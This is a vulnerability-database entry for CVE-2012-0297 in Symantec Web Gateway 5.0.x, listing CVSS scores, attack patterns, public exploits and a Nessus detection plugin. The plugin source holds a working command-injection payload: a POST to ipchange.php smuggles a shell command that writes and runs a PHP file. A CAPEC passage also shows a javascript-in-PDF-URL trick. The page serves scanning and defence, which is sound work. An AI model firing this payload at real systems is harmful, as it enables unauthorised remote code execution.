Vulnerabilities > CVE-2012-0297 - Permissions, Privileges, and Access Controls vulnerability in Symantec web Gateway 5.0/5.0.1/5.0.2

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
symantec
CWE-264
critical
nessus
exploit available
metasploit

Summary

The management GUI in Symantec Web Gateway 5.0.x before 5.0.3 does not properly restrict access to application scripts, which allows remote attackers to execute arbitrary code by (1) injecting crafted data or (2) including crafted data.

Vulnerable Configurations

Part Description Count
Application
Symantec
3

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing, Modifying or Executing Executable Files
    An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Blue Boxing
    This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
  • Restful Privilege Elevation
    Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
  • Target Programs with Elevated Privileges
    This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.

Exploit-Db

  • descriptionSymantec Web Gateway 5.0.2.8 Command Execution Vulnerability. CVE-2012-0297. Remote exploit for linux platform
    idEDB-ID:18942
    last seen2016-02-02
    modified2012-05-28
    published2012-05-28
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/18942/
    titleSymantec Web Gateway 5.0.2.8 Command Execution Vulnerability
  • descriptionsymantec Web gateway 5.0.2.8 - Multiple Vulnerabilities. CVE-2012-0297,CVE-2012-0298. Webapps exploit for linux platform
    idEDB-ID:19406
    last seen2016-02-02
    modified2012-06-27
    published2012-06-27
    reporterS2 Crew
    sourcehttps://www.exploit-db.com/download/19406/
    titlesymantec Web gateway 5.0.2.8 - Multiple Vulnerabilities
  • descriptionSymantec Web Gateway 5.0.2.8 ipchange.php Command Injection. CVE-2012-0297. Webapps exploit for php platform
    idEDB-ID:19065
    last seen2016-02-02
    modified2012-06-12
    published2012-06-12
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/19065/
    titleSymantec Web Gateway 5.0.2.8 ipchange.php Command Injection
  • descriptionSymantec Web Gateway 5.0.2 Remote LFI root Exploit. CVE-2012-0297. Remote exploit for linux platform
    idEDB-ID:18932
    last seen2016-02-02
    modified2012-05-26
    published2012-05-26
    reportermuts
    sourcehttps://www.exploit-db.com/download/18932/
    titleSymantec Web Gateway 5.0.2 - Remote LFI Root Exploit

Metasploit

Nessus

  • NASL familyCGI abuses
    NASL idSYMANTEC_WEB_GATEWAY_IPCHANGE_RCE.NASL
    descriptionThe remote web server is hosting a version of Symantec Web Gateway that is affected by a shell command injection vulnerability. The ipchange.php script calls the exec() function with user-controlled input that is not properly sanitized. A remote, unauthenticated attacker could exploit this to execute arbitrary shell commands as the apache user. After exploitation, obtaining a root shell is trivial.
    last seen2020-06-01
    modified2020-06-02
    plugin id59208
    published2012-05-21
    reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/59208
    titleSymantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(59208);
      script_version("1.30");
      script_cvs_date("Date: 2019/12/04");
    
      script_cve_id("CVE-2012-0297");
      script_bugtraq_id(53444);
      script_xref(name:"TRA", value:"TRA-2012-03");
      script_xref(name:"EDB-ID", value:"19065");
    
      script_name(english:"Symantec Web Gateway ipchange.php Shell Command Injection (SYM12-006) (intrusive check)");
      script_summary(english:"Uploads and executes a PHP script");
    
      script_set_attribute(attribute:"synopsis", value:
    "A web security application hosted on the remote web server has a
    command injection vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The remote web server is hosting a version of Symantec Web Gateway
    that is affected by a shell command injection vulnerability.  The
    ipchange.php script calls the exec() function with user-controlled
    input that is not properly sanitized.  A remote, unauthenticated
    attacker could exploit this to execute arbitrary shell commands as
    the apache user.  After exploitation, obtaining a root shell is
    trivial.");
      script_set_attribute(attribute:"see_also", value:"https://www.tenable.com/security/research/tra-2012-03");
      script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-12-090/");
      # https://support.symantec.com/en_US/article.SYMSA1250.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?5b5929ae");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Symantec Web Gateway version 5.0.3 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
    
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Symantec Web Gateway 5.0.2 RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"exploited_by_malware", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2012/05/17");
      script_set_attribute(attribute:"patch_publication_date", value:"2012/05/17");
      script_set_attribute(attribute:"plugin_publication_date", value:"2012/05/21");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:symantec:web_gateway");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("symantec_web_gateway_detect.nasl");
      script_require_keys("www/symantec_web_gateway");
      script_require_ports("Services/www", 443);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("webapp_func.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:443, php:TRUE);
    install = get_install_from_kb(appname:'symantec_web_gateway', port:port, exit_on_fail:TRUE);
    
    url = install['dir'] + '/ipchange.php';
    filename = strcat('cleaner/', SCRIPT_NAME, '-', unixtime(), '.php');
    cmd = 'echo "<? system("id"); ?>" > ' + filename;
    postdata = 'ip=localhost%0d%0a&subnet="|' + cmd + '|"';
    res = http_send_recv3(
      method:'POST',
      port:port,
      item:url,
      content_type:'application/x-www-form-urlencoded',
      data:postdata,
      exit_on_fail:TRUE
    );
    script_creation = http_last_sent_request();
    
    url = install['dir'] + '/' + filename;
    res = http_send_recv3(method:'GET', item:url, port:port, exit_on_fail:TRUE);
    
    if(!egrep(pattern:'uid=[0-9]+.*gid=[0-9]+.*', string:res[2]))
      audit(AUDIT_WEB_APP_NOT_AFFECTED, 'Symantec Web Gateway', build_url(qs:install['dir'], port:port));
    
    if (report_verbosity > 0)
    {
      report =
        '\nNessus created a PHP file by sending the following request :\n\n' +
        crap(data:"-", length:30)+' Request '+ crap(data:"-", length:30)+'\n'+
        chomp(script_creation) + '\n' +
        crap(data:"-", length:30)+' Request '+ crap(data:"-", length:30)+'\n'+
        '\nThis file executes the "id" command and is located at :\n\n' +
        build_url(qs:url, port:port) + '\n';
    
      if (report_verbosity > 1)
        report += '\nRequesting this file returned the following output :\n\n' + 
          data_protection::sanitize_uid(output:chomp(res[2])) + '\n';
    
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    
  • NASL familyCGI abuses
    NASL idSYMANTEC_WEB_GATEWAY_SYM12-006.NASL
    descriptionAccording to its self-reported version number, the remote web server is hosting Symantec Web Gateway before version 5.0.3, which has the following vulnerabilities : -There are multiple cross-site scripting vulnerabilities. (CVE-2012-0296) - Multiple shell command injection and local file inclusion vulnerabilities exist that could lead to arbitrary code execution. (CVE-2012-0297) - Unauthenticated users are allowed to read/delete arbitrary files as root. (CVE-2012-0298) - A file upload vulnerability exists that could lead to arbitrary code execution. (CVE-2012-0299) A remote, unauthenticated attacker could exploit the code execution vulnerabilities to execute commands as the apache user. After exploitation, obtaining a root shell is trivial.
    last seen2020-06-01
    modified2020-06-02
    plugin id59209
    published2012-05-21
    reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/59209
    titleSymantec Web Gateway < 5.0.3 Multiple Vulnerabilities (SYM12-006) (version check)

Packetstorm

Saint

bid53444
descriptionSymantec Web Gateway access_log PHP Injection
idmisc_av_symantec_webgatewayver
osvdb82023
titlesymantec_web_gateway_access_log_rce
typeremote

Seebug

bulletinFamilyexploit
idSSV:73332
last seen2018-07-03
modified2014-07-01
published2014-07-01
reporterKnownsec
sourcehttps://www.seebug.org/vuldb/ssvid-73332
titlesymantec web gateway 5.0.2.8 - Multiple Vulnerabilities